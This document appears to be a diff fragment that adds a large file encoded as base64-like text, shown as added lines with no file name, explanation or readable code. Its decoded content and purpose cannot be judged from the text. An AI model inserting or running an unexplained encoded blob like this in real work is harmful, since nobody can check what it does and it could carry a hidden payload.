+5/aPCkcc/KRzZjzfd/J7bt9XN2W52/i2sc+QcN+vxke3nc/Ntbq7r5rZu9s6LB7jLo908OT6y3aVu3urm/W4+42YtIZITEiK3q+j
+m6m5u5OZWbt8Dbu6dELnfJ938opvfcPNK93Yb3DyF43LR+dx18wo3f+rmvW4+42b9vUgu5OYKbq7v5gfcPNDNz7n5TTevdfNX70W
+ej2PkK858JKvZzLNVPP/kuFXufHHzYOZpvuzI+d71nwsVV7nP/6rIeB1y4exr6xu7t2/r9qW5fd7tGs+PLHuvA+/11Yv1JdjOM6s
+i832mu7zY3d5qN3/ibudLd/kbN+93x539dq6P73DfD39ade289frHccdDkefDuX52rpd+pq9M9rXxKyxXYFl9P/I6cd5vnbzOzaY
+7XsjNt5Cd+VDWzR/PkqVkbl+J5erkHnWYs2Tn3yBplH1t+1VZ3yL7H7fv7K+TP5p74+funPaReect1+f2zvV2Uze3dXNHN++bGzk
+eewZFcnfG23B/meRO2ZH3E+e4OK9jp39Pkciy9/nifa7k/fzxPne8z5sh7197H3Hyc+7yNDd751He+Z53fnmz80Lvdjfb7lw3L3e
+zs59O3shydx7XDnf8+ajI7b5yl73rodDOyPj37vhRN//6/o3vi3nPl2a+Gbn9Fbc/ZnVkvFt05HPeOy+q7n4+xrvrb1vtXqcNjqy
+v4i5XW+2ed7p9F+668XrD28+8149Ni0bGm7jbaePmrm5+3M3j3Pyym5e5eZub97v5jJv/WH3j9ae+5sbrz9CaG68/w+5ySXLv7Gv
+Pq3fd780bb7561zf/7vdQ3u287zXyfo/yn/7+xPtepgqPLyv7H3Pex+ldB3rfX3iP19sv73rsr47PzdbfbPt5r6e96+jMPNfTqez
+38Oxrx9c7v/fO27378c7r/1Pn6d55eN7z7bzngf+t81XvPNU7b/Vu///W9wl/d/43WOPef57XgXdd8FfPh3ddkvd6xbu+8K43vOu
+Tf7X/r+7/P71/3rzJO5/yzldvHr6YZx4uz7M/effTm7fevPReH97+ec9byzWRvo7kp3k9PUp+jnzyrsh+DVgTuc4c4eaxbn7Rza+
+7Od59HAtZdl5/N/u+1Hude6//v+r7d9ff7PvevN/r3uz737+6TvU+373zCu/76Hd5/C9w/Nascf98w81fkF/Jvva56e3fXvf4H1k
+TeZ7OuPl39/PIu1/vetR5f3PyM4Mj51f62sh4s7WR61Lvefby373dc+7yy26e7eZFbl7n5h1u9ua79zn/ozt+zM2n3PyfOo/4ba3
+7vcwHkePdw83zPrj2vcLr2f/4PuQtH/kgsv0Lbh5nRsaj1rnXg+55V+bSG8+vvNsXWnfjeZT3uVxqXSQnu9vxztO823vna3XWRR5
+PCzfft+7G56WbO97XzUPd9d559Avu/bzm5gNujv8w0tfuw8j9d3Rzmpsz3Jzp5r/7OTHE3e5Hbv7ezb+7OWF9JHvnIaXd5fJurun
+mhusj5yEPuMvpbs5cH9n/YW4evf7G8xfvuHjz+MX1keNy1n0/+9PNs93b/bfOg/+/dv76n54Hb7vHd52bYz9yn8ePbnye1rjLf/U
+8efMk7/z5T82b/9Y8+KvH9d+eJ/vzzJf/p/Pkr77fvNn3lHm/l/yr86K832ve7HtT73zEe769P5/0ro/+7nWRN0+864d/9zrp//Z
+1mfd4L/E6ejP72vmCdz20Pku64XF510E57vghN3/p5ugBkaxtcJ/3Ddc+367/88mKG9zzjzzXUd73R7Xc9c3d3HHDjddrN/vzvR4
+bIsv9yG/zOIaR383+x3nuzVtvvnrz9Dl3f19180I3L3Pz+27+xM15P///1fe3m33O/d3303/1POFfPT/5d7//8d7H/u773t/93PP
+ex7z3tX/1/exffb/6q/e/He689P5cfp87/4654955pXe++Vfnpd75aN7z0L/6HPhPnef97u53zMeRXODjSN/133Pkvk7+xfP2f/d
+8LeFvfv7e7Hqj1eAbz+f2sPzivpt/P3KL+3i970EKDXa/D/k48rze4a5v7Ob2bs5wc5abN+f9PsW9/XD3uE5w883O/73rGO/5965
+78l7vePMq7+9XeNdxN7vO815fr7r79Yabxy668fV9s/Xe93De70N4vx9xs9+LeJvbf5B97Xp/FcsfX/d9p/e99s2+z/a+/877e07
+e7zXl/X7Puz73vufL+z2g9+fz3uvzU/bnM/bnK/IX2deOt3e+4H0v4n3Pl/d7De/Pxb0/J/+rP1f/v/X94M2+n8z75/j/2/Y37/d
+a3v57++F9r5X39wu83zvw9s97fN77rvf7Cd79/t3ff/D2b/lNHvdfPV7v9zu886v/1vVS3vMJ73rpX32//qv3U+991Hu+EvJcZ/2
+711Xe50Te9/f/29/7/G/5fPjBzafd/LubAxvdz2c3F3VzeTd7v4f2tJuTN0ZyfTe/MyryfHi/99x6YySP3RgZz7v8zkb3/f8m60/
+/k9t/nX3j8t7sm/f/p5fLfPKP+3P9/bdn/ffXLV//ex5OfvuTyHzw1uddPvFJ5Pn7u8u3bZKl49k3X/8E689ct34/y+evW677qSx
+dvm65RDDyPHufs977Y97PYe/z1/uc9j438+7P3E/d79n/zcd3idvL3/37xyPv/bffLEv6ddtbxbL13c37887PAp/JUv7r+vuzHP4
+f9u9r1hf7H9bfsUWWyvwP66ewvvx3N398f/V4njgRuf7x8qkt7vuam9vOcc/r3N9fKvN6ZNn7fSTvOusq/YnfXcvO+aQzb53srPe
+y+Tnzx18fJfUWihSS+qAiCf5TJFXSMEbSJbaMimRK0dQWKpLNGFfu6NzOoo5FRcrHGEceFakAY7JUEBUpjjGeAVSkeMZkKQEVqYh
+UmLooKtItrJdz/y6ZIhVnvZz7d8oUqTTrOfqoSLeyXpbKoiLdxnpZKoeKdLtUiro8KlIFemWpIipSE3pl6R5UpKb0ylIzVKTm9Mp
+SC1SklvTKUitUpHZSZer7UJEuSIn4m5SMl6QU/FOqhlel6s7xkWuiJtfGgFwHdbkeRsn1MVpu6Bw9uREG5SbOUZKbOkcJOUpyc+c
+oIUdJbukcJVSkQnJrLCa3YaQ4KlIJ2fk7eCVRkUrJ7alLoyKVlTtQ34aKVE7uSH07KlJ5uRN1BVSkinJn6kqoSJXlNOoqqEhJcjp
+WlTMYSUFFqiZ3p74DFamW3IO6NirSnXJP6jqoSPfIvbGDnIkPyP0Y74iK9KCcRd0JFekheSB2lgdjF3kIpslD8WF5OHaVR2APeSQ
++Ko/CnvJo7CWPwd7yWMyUx+EAeQIOlCfiIHkSTpYn4zR5Ks6Sp+E6eTreq8zANspMbKvMcp5BZTbep8zF9so8vF+Z7+y5stDZc2U
+RdlQWYydlqbPPyjJnn5Xlzj4rKzFdWYWPKKtxmLIWn1LW4ShlPY5XNuDzykacomzC6cpmfEXZgjOUrfiqsh1nKjvwNWWns8/KLnx
+d2c2xmo2KNFfZg28oe3Geko1vKvtZOx8VaYFygHohKtJbykFcpBzGt5UjuFg5ikuU47hMOYnvKqdxuXIGVyhncaVyDt9TzuMq5SK
++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
